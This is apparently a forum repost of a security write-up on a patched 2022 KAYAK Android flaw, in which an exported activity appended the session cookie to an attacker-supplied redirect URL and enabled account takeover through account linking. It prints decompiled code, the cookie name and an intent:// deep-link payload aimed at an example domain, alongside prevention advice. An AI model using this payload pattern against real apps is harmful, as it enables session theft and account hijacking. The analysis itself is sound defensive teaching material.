- by x32x01 ||
A vulnerability in KAYAK Android v161.1 allowed an attacker to abuse an exported Activity and a malicious deep link to cause the app to send its session cookie to an attacker-controlled URL.
The issue was discovered in 2022 during security research and could lead to account takeover. KAYAK fixed the vulnerability in version 161.2.
The vulnerable Activity was:
The AndroidManifest.xml declared it with
Because the Activity was exported, other applications could interact with it. The
First, the application obtained the redirect URL directly from the incoming Intent:
There was no visible validation restricting the value to a trusted KAYAK domain.
The second method used that URL to open a Chrome Custom Tab:
This created the critical security issue.
The application was not simply opening the supplied URL. It was also appending the user's session identifier to that URL.
🔴 A URL controlled by an external caller was combined with a sensitive authentication value.
The relevant cookie name was:
So the flow was essentially:
For defensive research, the structure can be represented with a non-operational example domain:
The important part is not the example domain. It is the ability to control
In the original research, the destination was controlled by the researcher, allowing the resulting request to be observed on the researcher's server.
After using the stolen session to access the web application, the researcher could view the victim's information. Some account modifications were initially restricted, but the application allowed an external authentication provider to be linked to the account.
The researcher linked a Google account controlled by the attacker to the victim's account.
That meant the attacker could later authenticate through the linked Google account and regain access to the victim's KAYAK account, even after the original session was no longer useful.
⚠️ The important security lesson is that account takeover does not always require directly changing the victim's password.
A stolen session combined with a weak account-linking flow can provide another path to persistent access.
Exported Activity
→
Attacker-controlled Deep Link
→
Unvalidated Redirect URL
→
Session Cookie Added to URL
→
Cookie Disclosure
→
Authenticated Web Session
→
Account Linking
→
Potential Account Takeover
This combination is what made the issue significantly more serious than a simple deep-link handling bug.
Exporting an Activity is not automatically a vulnerability, but an exported component must treat every incoming Intent as untrusted input.
A secure implementation should allow only explicitly trusted destinations.
Authentication secrets should not be placed in URLs because URLs can be exposed through browser history, logs, analytics systems, referrers, monitoring tools, and other infrastructure.
This demonstrates why security testing should follow an exploit chain instead of stopping after finding the first leaked credential.
Recommended protections include:
The dangerous behavior came from combining several individually understandable features:
An Activity may look harmless when inspected by itself. The real vulnerability appears when untrusted input controls where sensitive authentication information is sent.
Never trust external Intent data simply because it arrives through an application-defined deep link.
An exported component should assume that its caller may be malicious. Redirect destinations must be validated, and authentication secrets should never be attached to attacker-controlled URLs.
The vulnerability also shows why account security needs to be evaluated as a complete chain. A leaked session may become much more dangerous when combined with authentication or account-linking functionality.
[ I ]The original research was published by Fluid Attacks in November 2022.[/I]
The issue was discovered in 2022 during security research and could lead to account takeover. KAYAK fixed the vulnerability in version 161.2.
How the KAYAK Android Vulnerability Worked
The root problem was an exported Android Activity that accepted external Intents and used a user-controlled redirect URL without properly validating it.The vulnerable Activity was:
com.kayak.android.web.ExternalAuthLoginActivityThe AndroidManifest.xml declared it with
android="true" and a BROWSABLE deep-link configuration: XML:
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity> BROWSABLE category also allowed it to be reached through deep links.The Dangerous Redirect URL
During reverse engineering, two important methods showed why the exported Activity was dangerous.First, the application obtained the redirect URL directly from the incoming Intent:
Java:
private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
} The second method used that URL to open a Chrome Custom Tab:
Java:
private final void launchCustomTabs() {
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
buildUpon.appendQueryParameter(
SESSION_QUERY_PARAM,
l.getInstance().getSessionId()
);
i.openCustomTab(this, b10, buildUpon.build(), null);
} The application was not simply opening the supplied URL. It was also appending the user's session identifier to that URL.
🔴 A URL controlled by an external caller was combined with a sensitive authentication value.
How the Session Cookie Was Retrieved
The session identifier came from the application's cookie storage: Java:
public final String getSessionId() {
return getCookieValueInternal(SESSION_COOKIE_NAME);
} p1.med.sidSo the flow was essentially:
- An attacker supplies a redirect URL through an external Intent.
ExternalAuthLoginActivityaccepts the URL.- The application retrieves the user's session cookie.
- The session value is appended as a GET parameter.
- The application opens the resulting URL in a Custom Tab.
- The destination server can receive the sensitive value.
Deep Link Attack Path
The researcher demonstrated that the Activity could be invoked using an Androidintent:// deep link.For defensive research, the structure can be represented with a non-operational example domain:
HTML:
<a href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://example.invalid/callback;end">
Open KAYAK link
</a> EXTRA_REDIRECT_URL while targeting the exported Activity.In the original research, the destination was controlled by the researcher, allowing the resulting request to be observed on the researcher's server.
Why the Attack Could Lead to Account Takeover
Stealing the session cookie was already serious, but the research showed an additional problem.After using the stolen session to access the web application, the researcher could view the victim's information. Some account modifications were initially restricted, but the application allowed an external authentication provider to be linked to the account.
The researcher linked a Google account controlled by the attacker to the victim's account.
That meant the attacker could later authenticate through the linked Google account and regain access to the victim's KAYAK account, even after the original session was no longer useful.
⚠️ The important security lesson is that account takeover does not always require directly changing the victim's password.
A stolen session combined with a weak account-linking flow can provide another path to persistent access.
Vulnerability Chain
The complete attack chain can be simplified as:Exported Activity
→
Attacker-controlled Deep Link
→
Unvalidated Redirect URL
→
Session Cookie Added to URL
→
Cookie Disclosure
→
Authenticated Web Session
→
Account Linking
→
Potential Account Takeover
This combination is what made the issue significantly more serious than a simple deep-link handling bug.
What Went Wrong?
Several security design problems were connected together.1. Sensitive Activity Was Exported
ExternalAuthLoginActivity was accessible from outside the application.Exporting an Activity is not automatically a vulnerability, but an exported component must treat every incoming Intent as untrusted input.
2. The Redirect URL Was Not Properly Restricted
The Activity acceptedEXTRA_REDIRECT_URL directly from the incoming Intent.A secure implementation should allow only explicitly trusted destinations.
3. A Session Secret Was Added to a URL
The session identifier was appended as a query parameter.Authentication secrets should not be placed in URLs because URLs can be exposed through browser history, logs, analytics systems, referrers, monitoring tools, and other infrastructure.
4. Account Linking Increased the Impact
The stolen session could be combined with an account-linking feature, creating a path toward persistent access.This demonstrates why security testing should follow an exploit chain instead of stopping after finding the first leaked credential.
How Developers Can Prevent This Class of Vulnerability
Android applications that expose Activities through deep links should treat all incoming Intent data as untrusted.Recommended protections include:
- Validate every external redirect URL.
- Allow redirects only to an explicit allowlist of trusted domains.
- Avoid putting session cookies, access tokens, or other authentication secrets in URLs.
- Keep Activities private unless external access is actually required.
- Use Android App Links with domain verification where appropriate.
- Validate Intent extras before using them in security-sensitive operations.
- Review authentication-provider linking flows for session fixation and account-linking abuse.
- Invalidate sensitive sessions after suspicious authentication changes when appropriate.
- Test exported Activities with both malicious apps and crafted deep links.
Why This Bug Is a Good Android Security Case Study
This vulnerability is useful for learning because no single line of code explains the entire impact.The dangerous behavior came from combining several individually understandable features:
- Android exported Activities
- Deep links
- Intent extras
- Redirect URLs
- Chrome Custom Tabs
- Session cookies
- External authentication
- Account linking
An Activity may look harmless when inspected by itself. The real vulnerability appears when untrusted input controls where sensitive authentication information is sent.
KAYAK Vulnerability Timeline
The vulnerability was reported to KAYAK on August 12, 2022, with a reported CVSS score of 9.3 and classified by the researcher as critical. KAYAK remediated the issue on August 13, 2022, and version 161.2 became available on the Google Play Store.Key Takeaways
The KAYAK case demonstrates an important Android security principle:Never trust external Intent data simply because it arrives through an application-defined deep link.
An exported component should assume that its caller may be malicious. Redirect destinations must be validated, and authentication secrets should never be attached to attacker-controlled URLs.
The vulnerability also shows why account security needs to be evaluated as a complete chain. A leaked session may become much more dangerous when combined with authentication or account-linking functionality.
[ I ]The original research was published by Fluid Attacks in November 2022.[/I]
Frequently Asked Questions
------------------What was the KAYAK Android vulnerability?
It was a vulnerability in KAYAK v161.1 involving an exportedExternalAuthLoginActivity that accepted an externally supplied redirect URL and appended the user's session identifier before opening that URL.What Android component was vulnerable?
The vulnerable component wascom.kayak.android.web.ExternalAuthLoginActivity, which was declared with android="true" and exposed through a deep-link Intent filter.What session cookie was exposed?
The research identified the session cookie asp1.med.sid.Which KAYAK version fixed the issue?
The vulnerability was reported on August 12, 2022, and KAYAK v161.2 was available on the Play Store after the issue was remediated on August 13, 2022.What is the main lesson for Android developers?
Treat data received through exported Activities and deep links as untrusted. Validate redirect destinations and never place sensitive session credentials in URLs.- by x32x01 ||
📌 Original Report :
Account takeover in KAYAK: Is the app itself delivering the cookie to me ?
Account takeover in KAYAK: Is the app itself delivering the cookie to me ?